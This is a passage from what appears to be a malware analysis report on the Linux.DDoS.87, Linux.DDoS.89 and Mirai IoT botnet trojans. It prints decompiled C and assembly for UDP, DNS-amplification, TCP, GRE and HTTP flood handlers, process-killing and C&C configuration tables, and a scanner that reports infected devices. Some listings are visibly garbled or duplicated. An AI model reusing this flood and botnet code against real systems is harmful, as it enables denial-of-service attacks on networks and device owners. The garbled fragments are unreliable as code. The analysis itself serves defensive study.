needFillRandom = getNumberOrDefault(params_count, params, 1, 1);
```
The `getNumberOrDefault` function has the following structure:

```c
int __cdecl getNumberOrDefault(unsigned __int8 length, param2 *param, char id, int default)
```

It returns the value from the parameter array with the specified id or the value `default` if the id is not found. Values for the id field:

<table>
<thead>
<tr>
<th>Id</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>It is changed depending on the handler and implies either the length of the whole packet or the length of the data.</td>
</tr>
<tr>
<td>1</td>
<td>For some types of attacks, it determines whether random data needs to be generated in the packet.</td>
</tr>
<tr>
<td>2</td>
<td><code>ip_header.TOS</code></td>
</tr>
<tr>
<td>3</td>
<td><code>ip_header.identification</code></td>
</tr>
<tr>
<td>4</td>
<td><code>ip_header.TTL</code></td>
</tr>
<tr>
<td>5</td>
<td>`ip_header.flags &lt;&lt; 13</td>
</tr>
<tr>
<td>6</td>
<td>Source port</td>
</tr>
<tr>
<td>7</td>
<td>Dest port</td>
</tr>
<tr>
<td>8</td>
<td>Host in the DNS request</td>
</tr>
<tr>
<td>9</td>
<td>DNS request parameters</td>
</tr>
<tr>
<td>11</td>
<td><code>TCP.urgent_flag</code></td>
</tr>
<tr>
<td>12</td>
<td><code>TCP.ack_flag</code></td>
</tr>
<tr>
<td>13</td>
<td><code>TCP.psh_flag</code></td>
</tr>
<tr>
<td>14</td>
<td><code>TCP.rst_flag</code></td>
</tr>
<tr>
<td>15</td>
<td><code>TCP.syn_flag</code></td>
</tr>
<tr>
<td>16</td>
<td><code>TCP.fin_flag</code></td>
</tr>
<tr>
<td>17</td>
<td><code>TCP.Sequence_number</code></td>
</tr>
<tr>
<td>19</td>
<td>Specifies whether <code>ip.dstAddr</code> in the GRE packet is the same as in the external packet.</td>
</tr>
<tr>
<td>20</td>
<td>Requested page</td>
</tr>
<tr>
<td>22</td>
<td>The host header value</td>
</tr>
</tbody>
</table>
Then the Trojan creates a “raw” socket and enters the IP header:

```assembly
.text:0804AB7F  push  IPPROTO_UDP
.text:0804AB81  push  SOCK_RAW
.text:0804AB83  push  AF_INET
.text:0804AB85  call  ___GI_socket
.text:0804AB8A  mov  [esp+6Ch+fd], eax
.text:0804AB8E  add  esp, 10h
.text:0804AB91  inc  eax
.text:0804AB92  jz  loc_804AE5E
.text:0804AB98  mov  [esp+5Ch+var_14], 1
.text:0804ABA0  sub  esp, 0Ch
.text:0804ABA3  push  4
.text:0804ABA5  lea  eax, [esp+6Ch+var_14]
.text:0804ABA9  push  eax
.text:0804ABAA  push  IP_HDRINCL
.text:0804ABAC  push  SOL_IP
.text:0804ABAE  mov  ebx, [esp+78h+fd]
.text:0804ABB2  push  ebx
.text:0804ABB3  call  ___GI_setsockopt
```

After that, it is generated using the header of a IP/UDP datagram for each objective received:

```c
do {
    target_packet_headers[v4] = calloc(0x5E6u, 1u);  // current_ipudp_header = target_packet_headers[counter];
    current_ipudp_header->header.ip.Version = 69;
    current_ipudp_header->header.ip.TOS = TOS;
    v6 = htons(packetSize + 28, 8);
    current_ipudp_header->header.ip.totalLength = v6;
    current_ipudp_header->header.ip.TTL = TTL;
    v7 = htons(ident, 8);
    current_ipudp_header->header.ip.ident = v7;
    if ( fragmentation )
        current_ipudp_header->header.ip.frag_offs = 64;
    current_ipudp_header->header.ip.protocol = IPPROTO_UDP;
    current_ipudp_header->header.ip.src_addr = selfaddr;
    current_ipudp_header->header.ip.dst_addr = targets[counter].target_ip;
```
v9 = __ROR2__(sport, 8);
current_ipudp_header->header.udp.sport = v9;
v10 = __ROR2__(dport, 8);
current_ipudp_header->header.udp.dport = v10;
v11 = __ROR2__(packetSize + 8, 8);
current_ipudp_header->header.udp.length = v11;
counter++;
}while ( target_count > counter );

Then packets are sent to specified targets. If maskbits <= 31, a random target is generated. If the parameter values ident, dport, and sport equal 0xffff, these parameters are generated randomly for every packet. If a certain parameter is set, a packet’s body will be generated:

text:0804ADF3 rand_indent:                       ; CODE XREF: cm-
d0_udp_random+233j~
.text:0804ADF3 call      rand_cmwc
.text:0804ADF8 cmp       [esp+5Ch+destPort], 0FFFFh
.text:0804ADFE mov       [esi+ipudp_0.header._ip.ident], ax
.text:0804AE02 jnz      sport_is_const
.text:0804AE08 rand_port:                       ; CODE XREF: cm-
d0_udp_random+23Fj~
.text:0804AE08 call      rand_cmwc
.text:0804AE0D cmp       [esp+5Ch+sourcePort], 0FFFFh
.text:0804AE13 mov       [esi+ipudp_0.header.udp.sport], ax
.text:0804AE17 jnz      dport_is_const
.text:0804AE1D rand_dport:                     ; CODE XREF: cm-
d0_udp_random+24Bj~
.text:0804AE1D call      rand_cmwc
.text:0804AE22 cmp       [esp+5Ch+needFillRandom], 0
.text:0804AE27 mov       [edi+udp_packet.dport], ax
.text:0804AE2B jz       send_packet
.text:0804AE31 loc_804AE31:                     ; CODE XREF: cm-
d0_udp_random+256j~
.text:0804AE31 push      eax
.text:0804AE32 push      eax
.text:0804AE33 mov       eax, dword ptr [esp+64h +size_of_packet]
.text:0804AE37 and      eax, 0FFFFh
.text:0804AE3C push      eax                       ; a2
.text:0804AE31 loc_804AE31:                     ; CODE XREF: cm-
Then the Trojan counts checksums and shifts its attention to the next target. This procedure continues until the process is terminated:

```assembly
.text:0804AD1C send_packet:                      ; CODE XREF: cm-
d0_udp_random+36Bj
    ; cmd0_udp_random +389j
.text:0804AD1C                mov    word ptr [esi+0Ah], 0
    ; text:0804AD22
    ; text:0804AD23
    ; text:0804AD24
    ; text:0804AD26
    ; text:0804AD27
    ; text:0804AD2C
    ; text:0804AD30
    ; text:0804AD36
    ; text:0804AD37
    ; text:0804AD3B
    ; text:0804AD40
    ; text:0804AD41
    ; text:0804AD42
    ; text:0804AD43
    ; text:0804AD48
    ; text:0804AD4C
    ; text:0804AD50
    ; text:0804AD57
    ; text:0804AD5B
```

cmd1 – Source Engine Amplification

It operates like the previous command; however, the packet's content is retrieved from the configuration:

```c
TOS = getNumberOrDefault(params_count, params, 2, 0);
ident = getNumberOrDefault(params_count, params, 3, 0xFFFF);
TTL = getNumberOrDefault(params_count, params, 4, 64);
frag = getNumberOrDefault(params_count, params, 5, 0);
sport = getNumberOrDefault(params_count, params, 6, 0xFFFF);
dport = getNumberOrDefault(params_count, params, 7, 27015); //constant by default
tsource = (char *)get_data_from_config(8); // get "TSource Engine Query"
```
cmd2 – DNS flood

This command uses parameters similar to the previous ones; however, in this case, the value `transaction_id` and the domain name that needs to be requested are added for the DNS packet:

```
TOS = getNumberOrDefault(params_count, params, 2, 0);
ident = getNumberOrDefault(params_count, params, 3, 0xFFFF);
TTL = getNumberOrDefault(params_count, params, 4, 64);
frag = getNumberOrDefault(params_count, params, 5, 0);
sport = getNumberOrDefault(params_count, params, 6, 0xFFFF);
dport = getNumberOrDefault(params_count, params, 7, 53);
transaction_id_1 = getNumberOrDefault(params_count, params, 9, 0xFFFF);
random_data_length = getNumberOrDefault(params_count, params, 0, 12);
query = getString(params_count, params, 8, 0);
```

A packet containing 100 domain requests is generated and sent to the specified address. The **Recursion desired** flag is set:

```
.text:0804A4D3  mov     [ecx+dnshdr.flags], 1 ; Do request recursively
.text:0804A4D9  mov     [ecx+dnshdr.qdcount], 100h ;
One Request
.text:0804A4DF  mov     [edx+ipudp_2.queries], al ; size of random generated
.text:0804A4E2  mov     ecx, [esp+6Ch+random_data_length]
.text:0804A4E6  push    eax
.text:0804A4E7  mov     eax, [esp+70h+length_of_domain]
.text:0804A4EB  push    eax ; a3
.text:0804A4EC  lea     ebx, [edx+ecx+(ipudp_2.queries
+1)]
.text:0804A4F0  mov     eax, [esp+74h+domain_query]
.text:0804A4F4  push    eax ; a2
.text:0804A4F5  lea     eax, [ebx+1]
.text:0804A4F8  push    eax ; a1
.text:0804A4F9  call    strncpy
.text:0804A4FE  add     esp, 10h
.text:0804A501  mov     esi, [esp+6Ch+length_of_str]
.text:0804A505  test    esi, esi
.text:0804A507  jle     loc_804A71E
.text:0804A50D  mov     edx, ebx
```
A name of a requested host is generated by setting a length of a generated prefix in the field 0, to which a string, transmitted in the parameter with id = 8, is added.

**cmd3 – TCP flood 2 options**

The command is responsible for sending TCP packets to specified targets. It also allows values to be specified for TCP flags using these parameters:

```plaintext
TOS = getNumberOrDefault(params_count, params, 2, 0);
ident = getNumberOrDefault(params_count, params, 3, 0xFFFF);
TTL = getNumberOrDefault(params_count, params, 4, 64);
frag = getNumberOrDefault(params_count, params, 5, 1);
sport = getNumberOrDefault(params_count, params, 6, 0xFFFF);
dport = getNumberOrDefault(params_count, params, 7, 0xFFFF);
seq = getNumberOrDefault(params_count, params, 17, 0xFFFF);
```
v32 = getNumberOrDefault(params_count, params, 18, 0);
urgent_flag = getNumberOrDefault(params_count, params, 11, 0);
ack_flag = getNumberOrDefault(params_count, params, 12, 0);
psh_flag = getNumberOrDefault(params_count, params, 13, 0);
rst_flag = getNumberOrDefault(params_count, params, 14, 0);
syn_flag = getNumberOrDefault(params_count, params, 15, 1);
fin_flag = getNumberOrDefault(params_count, params, 16, 0);

Setting flags in the packet:

```
.text:0804A016   mov     [esi+tcp_packet.seq], eax
.text:0804A019   mov     al, byte ptr [esi
+tcp_packet.flags]
.text:0804A01C   and     eax, 0Fh
.text:0804A01F   or      eax, 0FFFFFFFA0h ; set packet size
as 10 words (40 bytes)
.text:0804A022   mov     byte ptr [esi+tcp_packet.flags],
al
.text:0804A025   mov     al, byte ptr [esi+(tcp_packet.flags+1)]
.text:0804A028   and     eax, 0FFFFFFFFCfh ; 0x11001111
.text:0804A02B   mov     dl, [esp+6Ch+ack_flg]
.text:0804A02F   or      al, [esp+6Ch+urgent_flg_shifted]
.text:0804A033   mov     cl, [esp+6Ch+push_flag]
.text:0804A037   shl     edx, 4
.text:0804A03A   shl     ecx, 3
.text:0804A03D   or      eax, edx
.text:0804A03F   and     eax, 0FFFFFFFF3h ; 0x11110011
.text:0804A042   mov     dl, [esp+6Ch+rst_flg]
.text:0804A046   shl     edx, 2
.text:0804A049   or      eax, ecx
.text:0804A04B   or      eax, edx
.text:0804A04D   mov     dl, [esp+6Ch+syn_flag]
.text:0804A051   add     edx, edx
.text:0804A053   and     eax, 0FFFFFFFCh
.text:0804A056   or      eax, edx
.text:0804A058   or      eax, edi
.text:0804A05A   mov     byte ptr [esi+(tcp_packet.flags
+1)], al
```
In addition, TCP parameters with numbers 2 and 8 are installed into the packet—maximum segment size and timestamp:

```assembly
.text:0804A05D  mov    byte ptr [ebx+28h], TCPOPT_MAXSEG
.text:0804A061  mov    byte ptr [ebx+29h], 4
.text:0804A065  call   rand_cmwc
.text:0804A06A  mov    byte ptr [ebx+2Ch], 4
.text:0804A06E  and    eax, 0Fh
.text:0804A071  mov    byte ptr [ebx+2Dh], 2
.text:0804A075  add    eax, 578h
.text:0804A07A  mov    byte ptr [ebx+2Eh],
TCPOPT_TIMESTAMP
.text:0804A07E  ror    ax, 8
.text:0804A082  mov    byte ptr [ebx+2Fh], 0Ah
.text:0804A086  mov    [ebx+2Ah], ax
.text:0804A08A  call   rand_cmwc
.text:0804A08F  mov    dword ptr [ebx+34h], 0
.text:0804A096  mov    [ebx+30h], eax
.text:0804A099  mov    byte ptr [ebx+38h], 1
.text:0804A09D  mov    byte ptr [ebx+39h], 3
.text:0804A0A1  mov    byte ptr [ebx+3Ah], 3
.text:0804A0A5  mov    byte ptr [ebx+3Bh], 6
```

Once generated, the packet is sent without any information.

**cmd4 – TCP flood random**

This command operates like the previous one; however, the TCP parameters are not set in the packet. If the corresponding flag is set, random data is written to the packet.

**cmd6 – TCP flood 1 option**

The command is similar to cmd3; however, only one parameter is set:

```assembly
.text:08049656  mov    byte ptr [esi+iptcp_6.data],
TCPOPT_NOP
.text:0804965A  mov    byte ptr [esi+(iptcp_6.data+1)],
TCPOPT_NOP
.text:0804965E  mov    byte ptr [esi+2Ah],
TCPOPT_TIMESTAMP
.text:08049662  mov    byte ptr [esi+2Bh], 0Ah
```
cmd7 – TCP flood simple

In contrast to the previous methods, when this command is executed, only the port and the size of the transmitted data are defined. To carry out an attack, sockets are used to establish a TCP connection:

```
port = getNumberOrDefault(params_count, params, 7, 80);
size = getNumberOrDefault(params_count, params, 0, 1024);
useRandom = getNumberOrDefault(params_count, params, 1, 1);
```

cmd8 UDP flood over GRE

The command sends UDP packets over the GRE protocol and uses the following parameters:

```
TOS = getNumberOrDefault(params_count, param, 2, 0);
ident = getNumberOrDefault(params_count, param, 3, 0xFFFF);
TTL = getNumberOrDefault(params_count, param, 4, 64);
frag = getNumberOrDefault(params_count, param, 5, 1);
sport = getNumberOrDefault(params_count, param, 6, 0xFFFF);
dport = getNumberOrDefault(params_count, param, 7, 0xFFFF);
payloadLength = getNumberOrDefault(params_count, param, 0, 512);
fillRandom = getNumberOrDefault(params_count, param, 1, 1);
useSameAddr = getNumberOrDefault(params_count, param, 19, 0); //inner ip.dstAddr == outer ip.dstAddr
```

The GRE packet is generated as follows:

```
; CODE XREF: cmd8_GRE_udp_random+1EF
.loc_8048F57:                            ; CODE XREF: cm-
.text:08048F57 loc_8048F57: ; CODE XREF: cm-
d8_GRE_udp_random+1EFj
.text:08048F57                mov      ebx, [esi+2Ch]
IPPROTO_GRE
.text:08048F5B                mov      [ebx+ipgre8._ip.protocol],
IP protocol
.text:08048F61                mov      [edx+gre_packet.protocolType], 8 ;
.text:08048F66                mov      eax, ds:selfaddr
.text:08048F66                mov      ecx, [esp+5Ch+arg_4]
.text:08048F66A               mov      [ebx+ipgre8._ip.src_addr], eax
```
.text:08048F6D  mov     eax, [esp+5Ch+counter]
.text:08048F71  lea     eax, [eax+eax*2]
.text:08048F74  mov     eax, [ecx+eax*8]
.text:08048F77  mov     [ebx+ipgre8.ip_in-
er.header._ip.Version], 45h
.text:08048F7B  mov     [ebx+ipgre8._ip.dst_addr], eax
.text:08048F7E  mov     al, [esp+5Ch+TOS]
.text:08048F82  mov     [esi+ipudp._ip.TOS], al
.text:08048F85  mov     dl, [esp+5Ch+TTL]
.text:08048F89  mov     eax, dword ptr [esp+5Ch+inner-
_length]
.text:08048F8D  ror     ax, 8
.text:08048F91  mov     [esi+ipudp._ip.totalLength], ax
.text:08048F95  mov     ax, [esp+5Ch+ident_inner]
.text:08048F9A  mov     [esi+ipudp._ip.TTL], dl
.text:08048F9D  ror     ax, 8
.text:08048FA1  cmp     [esp+5Ch+frag], 0
.text:08048FA6  mov     [esi+ipudp._ip.ident], ax
.text:08048FAA  jz      short loc_8048FB2
.text:08048FAC  mov     [esi+ipudp._ip.frag_offs], 40h
.text:08048FB2  mov     [esi+ipudp._ip.protocol], IPPROTO_UDP
.text:08048FB6  call    rand_cmwc
.text:08048FBB  cmp     [esp+5Ch+var_27], 0
.text:08048FC0  mov     [esi+ipudp._ip.src_addr], eax
.text:08048FC3  jnz     use_same
.text:08048FC9  sub     eax, 400h
.text:08048FCE  xor     eax, 0FFFFFFFh
.text:08048FD1  mov     [esi+ipgre8._ip.dst_addr], eax
.text:08048FD4  jmp     loc_8048EC3
cmd10 GRE Packet using Transparent Ethernet Bridging

Like the previous command, this command sends encapsulated GRE packets; however, TEB (Transparent Ethernet Bridging) is used: the packet contains a full-featured Ethernet frame. The sender’s and the receiver’s MAC addresses are randomly generated in the internal frame:

```
.text:08048A3A          mov    [ebx+ipgre_9.outer_iphdr._ip.protocol], IPPROTO_GRE
.text:08048A3E          mov    [ecx+gre_packet.protocolType], 5865h ; GRE_NET_TEB
.text:08048A44          mov    eax, ds:selfaddr
.text:08048A49          mov    edx, [esp+6Ch+arg_4]
.text:08048A4D          mov    [ebx+ipgre_9.outer_iphdr._ip.src_c_addr], eax
.text:08048A50          mov    ecx, [esp+6Ch+saved_frame]
.text:08048A54          mov    eax, [esp+6Ch+counter]
.text:08048A58          mov    [ecx+ether_packet.type], 8 ; IP
```

cmd14 HTTP Flood

During one iteration, the command sends 10 HTTP requests that look as follows:

```
GET <param(20)> HTTP/1.1
Host: <param(22)>
Connection: keep-alive
User-Agent: <randomly selected from those specified in the configuration>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
```
Linux.DDoS.89

SHA1: 846b2d1b091704bb5a90a1752cafe5545588caa6

A modified version of Linux.DDoS.87 that fills structures with command handlers in a similar way:

```c
v0->number_ = 0;
v0->func = cmd0;
v2 = (cmd **)realloc(malware_conf.entries, 4 * malware_conf.size + 4);
v3 = malware_conf.size + 1;
malware_conf.entries = v2;
v2[malware_conf.size] = v1;
malware_conf.size = v3;
v4 = (cmd *)calloc(1u, 8u);
v5 = v4;
v4->number_ = 1;
v4->func = cmd1;
```

The appearance of some structures has been changed: some fields have been swapped around. The way the configuration is filled and stored has also been changed: in this version, the memory is not reallocated; instead, a statically allocated memory area is used to save the Trojan. Before using a specific configuration value that is stored in the memory, the `decode` function is called. This function decrypts the value by implementing an XOR operation and is then called again to encrypt the value in the memory. Like in the previous version, field values are obtained from a number, but now it coincides with the location in the array. The command format has not been changed. The method of running a command handler is still the same (taking into account that the way of storing handlers has been changed).

Running the command handler in Linux.DDoS.87:

```c
char __cdecl run_command(__time_t time, char number, unsigned __int8 target_count, target_parsed *targets, unsigned __int8 params_count, param2 *params)
{
    signed int v6; // eax@1
    int v7; // esi@2
    unsigned __int8 v8; // dl@3
    int v9; // ebx@12
    int status; // [esp+28h] [ebp-14h]@8
    LOBYTE(v6) = number;
    if ( handlers.length )
    {
        v7 = 0;
    }
```
if ( number == handlers.handlers->number )
{
    handler_found:
    v6 = __libc_fork();
    if ( v6 <= 0 )
    {
        if ( !v6 )
        {
            v6 = __libc_fork();
            if ( v6 > 0 )
                __GI_exit(0);
            if ( !v6 )
            {
                v6 = __libc_fork();
                v9 = v6;
                if ( !v6 )
                {
                    __GI_setsid();
                    init_random();
                    handlers.handlers[v7].func(target_count, targets, params_count, params);
                    __GI_exit(0);
                }
                if ( v6 > 0 )
                {
                    __GI_setsid();
                    sleep(time);
                    __GI_kill(v9, 9);
                    __GI_exit(0);
                }
            }
        }
    }
} else
{
    LOBYTE(v6) = __libc_waitpid(v6, &status, 0);
}
function \( \text{sub}_8048200 \) (int a1, char a2, unsigned __int8 a3, target_-parsed *a4, unsigned __int8 a5, param2 *a6) {
  int v6; // eax01
  int v7; // eax04
  int v8; // eax07
  cmd *v9; // edx07
  int v10; // eax12
  v6 = __libc_fork();
  if ( v6 != -1 && v6 <= 0 ) {
    v7 = __libc_fork();
    if ( v7 == -1 )
      __GI_exit(0);
    if ( !v7 )
      
      __GI_sleep(a1);
      v10 = getppid();
      __GI_kill(v10, 9);
      __GI_exit(0);
The main differences from Linux.DDoS.87

The pseudo-random sequence generator has been changed, as has the order in which the Trojan performs its actions once it has been launched. First, it starts operating with signals, ignoring SIGINT:

```c
__GI_sigemptyset(&v43);
__GI_sigaddset(&v43, SIGINT);
__GI_sigprocmask(SIG_BLOCK, &v43, 0)
```

Then other signal handlers are installed:

```c
__bsd_signal(SIGCHLD, SIGEV_NONE);
__bsd_signal(SIGTRAP, change_host);
```

//change_host:
void __cdecl change_host()
The process then receives the IP address of the network interface used to connect to the Internet via the Google DNS server (Linux.DDoS.87 got this address by connecting to its C&C server):

```cpp
text

int getMyIp()
{
    int v0; // esi@1
    int result; // eax@1
    __int16 v2; // [esp+20h] [ebp-1Ch]@2
    __int16 v3; // [esp+22h] [ebp-1Ah]@2
    int v4; // [esp+24h] [ebp-18h]@2
    int v5; // [esp+30h] [ebp-Ch]@1
    v5 = 16;
    v0 = __GI_socket(2, 2, 0);
    result = 0;
    if ( v0 != -1 )
    {
        v2 = 2;
        v4 = 0x80808080;
        v3 = 0x3500;
        __libc_connect(v0, &v2, 16);
        __GI_getsockopt(v0, &v2, &v5);
        __libc_close(v0);
        result = v4;
    }
    return result;
}
```

The local server is then launched:

```cpp
text

int start_server()
{
```
void main()
{
    int result; // eax@1
    struct flock *v1; // eax@2
    char v2; // ST1C_1@2
    unsigned __int32 v3; // eax@2
    __DWORD *v4; // ebx@4
    char v5; // [esp+Ch] [ebp-30h]@0
    sockaddr_in v6; // [esp+20h] [ebp-1Ch]@4
    int v7; // [esp+30h] [ebp-Ch]@1
    v7 = 1;
    result = __GI_socket(2, 1, 0);
    server_socket = result;
    if ( result != -1 )
    {
        __GI_setsockopt(result, 1, 2, &v7, 4);
        v1 = (struct flock *)__GI_libc_fcntl(server_socket, 3, 0, v5);
        BYTE1(v1) |= 8u;
        __GI_libc_fcntl(server_socket, 4, v1, v2);
        v3 = 0x100007F;
        if ( !can_bind )
        {
            v3 = selfaddr;
            v6.sin_family = 2;
            v6.sin_addr.s_addr = v3;
            v6.sin_port = 0x5BBu; // 48101
            v4 = getLastError();
            *v4 = 0;
            if ( __GI_bind(server_socket, &v6, 16) == -1 )
            {
                if ( *v4 == EADDRNOTAVAIL )
                {
                    can_bind = 0;
                    v6.sin_family = 2;
                    v6.sin_addr.s_addr = 0;
                    v6.sin_port = 0x5BBu; // 48101
                    __libc_connect(server_socket, &v6, 16); // connects to socket
                    __GI_sleep(5);
                    __libc_close(server_socket);
                    result = start_server();
                }
            }
        }
    }
}
else
{
    result = __GI_listen(server_socket, 1);
}
return result;

If the Trojan fails to use the `bind` system call, it connects to the corresponding port because it is assumed that the port is already busy running a previously launched Linux.DDoS.89 process. In this case, the previously launched process terminates itself. Once the server is launched, the C&C server address information stored in the executable file is added to the `sockaddr_in` structure:

```
.text:0804BBEF           mov    ds:cnc.sin_family, 2
.text:0804BBF8           add    esp, 10h
.text:0804BBFB           mov    ds:cnc.sin_addr.s_addr, XXXXXXXXh
.text:0804BC05           mov    ds:cnc.sin_port, 5000h
```

Then the following function obtained from the process is calculated:

```
def check(name):
    print name
    a = [ord(x) for x in name]
    sum = (0 - 0x51) & 0xff
    for i in [2,4,6,8,10,12]:
        z = (~a[i % len(a)] & 0xff)
        sum = (sum + z)&0xff
    return sum % 9
```

The result returned by the function is an index in a function array. The function with the corresponding index will be performed. The list of functions looks as follows:

```
.rodata:080510A0 off_80510A0 dd offset start_server ; DATA XREF:
main+4Do
.rodata:080510A4 dd offset decode
.rodata:080510A8 dd offset get_config_entry
.rodata:080510AC dd offset fill_config
.rodata:080510B0 dd offset encode
.rodata:080510B4 dd offset memcpy
.rodata:080510B8 dd offset strcmp
```
Then the name of the current process is checked. If it is "./dvrHelper", the SIGTRAP signal is created. This signal is responsible for changing the C&C server.

Each configuration is filled in the following way:

```c
v2 = (char *)malloc(0xFu);
memcpy(v2, (char *)&unk_8051259, 15);
conf_entries[3].data = v2;
conf_entries[3].length = 15;
v3 = (char *)malloc(4u);
memcpy(v3, "\ьБ", 4);
conf_entries[4].data = v3;
conf_entries[4].length = 4;
v4 = (char *)malloc(2u);
memcpy(v4, "\5", 2);
conf_entries[5].data = v4;
conf_entries[5].length = 2;
v5 = (char *)malloc(7u);
```

The configuration for this sample looks as follows:

<table>
<thead>
<tr>
<th>Number</th>
<th>Decrypted value</th>
<th>Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>&quot;DROPOUTJEEP&quot;</td>
<td></td>
</tr>
<tr>
<td>2</td>
<td>&quot;wiretap -report=tcp://65.222.202.53:80&quot;</td>
<td>this string is appended as a Trojan's name and is displayed in a process list</td>
</tr>
<tr>
<td>3</td>
<td>&quot;listening tun0&quot;</td>
<td>output to stdin when launched</td>
</tr>
<tr>
<td>4</td>
<td>&lt;ip-address&gt;</td>
<td>C&amp;C server's address</td>
</tr>
<tr>
<td>5</td>
<td>&lt;port&gt;</td>
<td>C&amp;C server's port</td>
</tr>
<tr>
<td>6</td>
<td>&quot;/proc/&quot;</td>
<td>runkiller</td>
</tr>
<tr>
<td>7</td>
<td>&quot;/exe&quot;</td>
<td>runkiller</td>
</tr>
<tr>
<td>8</td>
<td>&quot;REPORT %s:%s&quot;</td>
<td>runkiller</td>
</tr>
<tr>
<td>9</td>
<td>&quot;HTTPFLOOD&quot;</td>
<td>runkiller</td>
</tr>
<tr>
<td>Number</td>
<td>Decrypted value</td>
<td>Purpose</td>
</tr>
<tr>
<td>--------</td>
<td>-----------------------------------------</td>
<td>--------------------------</td>
</tr>
<tr>
<td>10</td>
<td>&quot;LOLNOGTFO&quot;</td>
<td>runkiller</td>
</tr>
<tr>
<td>11</td>
<td>&quot;\x58\x4D\x4E\x4E\x43\x50\x46\x22&quot;</td>
<td>runkiller</td>
</tr>
<tr>
<td>12</td>
<td>&quot;zollard&quot;</td>
<td>runkiller</td>
</tr>
<tr>
<td>13</td>
<td>&quot;GETLOCALIP&quot;</td>
<td>unused</td>
</tr>
<tr>
<td>14</td>
<td>&lt;host&gt;</td>
<td>the scanner of the hosts’ IP address to which information on infected computers is sent</td>
</tr>
<tr>
<td>15</td>
<td>&lt;port&gt;</td>
<td>the scanner of the hosts’ port to which information on infected computers is sent</td>
</tr>
<tr>
<td>16</td>
<td>&quot;shell&quot;</td>
<td>scanner</td>
</tr>
<tr>
<td>17</td>
<td>&quot;enable&quot;</td>
<td>scanner</td>
</tr>
<tr>
<td>18</td>
<td>&quot;sh&quot;</td>
<td>scanner</td>
</tr>
<tr>
<td>19</td>
<td>&quot;/bin/busybox MIRAI&quot;</td>
<td>scanner</td>
</tr>
<tr>
<td>20</td>
<td>&quot;MIRAI: applet not found&quot;</td>
<td>scanner</td>
</tr>
<tr>
<td>21</td>
<td>&quot;ncorrect&quot;</td>
<td>scanner</td>
</tr>
<tr>
<td>22</td>
<td>&quot;TSource Engine Query&quot;</td>
<td>cmd1</td>
</tr>
<tr>
<td>23</td>
<td>&quot;/etc/resolv.conf&quot;</td>
<td>cmd2</td>
</tr>
<tr>
<td>24</td>
<td>&quot;nameserver&quot;</td>
<td>cmd2</td>
</tr>
</tbody>
</table>

Once the configuration is filled, the process’s name is changed to `conf[2]`. Using the `prctl` function, its name is changed to `conf[1]`.

Then `conf[3]` is output to the standard `stdin` thread:

```
.text:0804BE05       lea    eax, [esp+124h+len]
.text:0804BE0C       push   eax
.text:0804BE0D       push   3
.text:0804BE0F       call   get_config_entry
.text:0804BE14       add    esp, 0Ch
.text:0804BE17       mov    edi, [esp+1220h+len]
.text:0804BE1E       push   edi ; len
.text:0804BE1F       push   eax ; addr
.text:0804BE20       push   1 ; fd
```
Child processes are subsequently created and the following functions are called:

The `runkiller` function does not check whether files are present in the process’s directory because it uses PID. The process will not be terminated if its PID is the same as the current or parental one.

The same changes were implemented to the network operation mechanism. Instead of blocking sockets, the Trojan uses the select system call which also handles server sockets. When connecting to a server socket, all child processes and the current process are terminated, and a new scanner process is run:
The MAC address of the network adapter is not sent to the C&C server, and network commands are received one by one.

The run_scanner function, which was borrowed from the **Linux.BackDoor.Fgt** Trojan family and which is responsible for searching for vulnerable devices, has been slightly changed—the C&C server’s address, to which information on infected computers is sent, is extracted from the configuration.

HTTP flood is now missing from the list of types of attacks performed, and commands have been re-ordered:

<table>
<thead>
<tr>
<th>Number</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>UPD random</td>
</tr>
<tr>
<td>1</td>
<td>TSource</td>
</tr>
<tr>
<td>2</td>
<td>DNS flood</td>
</tr>
<tr>
<td>3</td>
<td>TCP flood 2 options</td>
</tr>
<tr>
<td>4</td>
<td>TCP flood random data</td>
</tr>
<tr>
<td>5</td>
<td>TCP flood</td>
</tr>
<tr>
<td>6</td>
<td>UDP over GRE</td>
</tr>
<tr>
<td>7</td>
<td>TEB over GRE</td>
</tr>
</tbody>
</table>

In the examined sample, virus makers tried to carry out a DNS amplification attack: the DNS server’s address is retrieved either from the resolv.conf file or from a list of public DNS servers hard-coded into the Trojan’s body.
Linux.Mirai

SHA1: 7e0e07d19b9c57149e72a7ed266e0c8aa5019a6f

A modified version of Linux.DDoS.87 and Linux.DDoS.89. Its main differences from Linux.DDoS.89 are as follows:

- Some samples of the Trojan can now delete themselves.
- The Trojan can disable the watchdog timer, which prevents system hangs, to make it impossible to re-boot the computer.
- The process’s name is changed to a random sequence containing the characters [a-z 0-9].
- The configuration structure has been changed.
- If a process named `.anime` is found, the Runkiller function not only terminates this process but also deletes the executable file.
- Unlike Linux.DDoS.89, this version can execute HTTP Flood attacks.
- If the Trojan fails to create a socket and connect to it, the corresponding function searches for the process that owns the socket and kills it.

The Trojan’s configuration looks as follows:

<table>
<thead>
<tr>
<th>Number</th>
<th>Value</th>
<th>Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td>3</td>
<td>Listening tun0</td>
<td>Main output to stdin</td>
</tr>
<tr>
<td>4</td>
<td>Host</td>
<td>Command and control server’s IP address</td>
</tr>
<tr>
<td>5</td>
<td>Port</td>
<td>C&amp;C server’s port</td>
</tr>
<tr>
<td>6</td>
<td>&quot;<a href="https://youtube.com/watch?v=dQw4w9WgXcQ">https://youtube.com/watch?v=dQw4w9WgXcQ</a>&quot;</td>
<td>runkiller</td>
</tr>
<tr>
<td>7</td>
<td>/proc/</td>
<td>runkiller</td>
</tr>
<tr>
<td>8</td>
<td>/exe</td>
<td>runkiller</td>
</tr>
<tr>
<td>9</td>
<td>&quot; (deleted)&quot;</td>
<td></td>
</tr>
<tr>
<td>10</td>
<td>/fd</td>
<td>runkiller</td>
</tr>
<tr>
<td>11</td>
<td>&quot;anime&quot;</td>
<td>runkiller</td>
</tr>
<tr>
<td>12</td>
<td>“REPORT %s;%s”</td>
<td>runkiller</td>
</tr>
<tr>
<td>13</td>
<td>“HTTPFLOOD”</td>
<td>runkiller</td>
</tr>
<tr>
<td>14</td>
<td>“LOLNOGTFO”</td>
<td>runkiller</td>
</tr>
<tr>
<td>15</td>
<td>“\x58\x4D\x4E\x44\x50\x46\x22”</td>
<td>runkiller</td>
</tr>
<tr>
<td>Number</td>
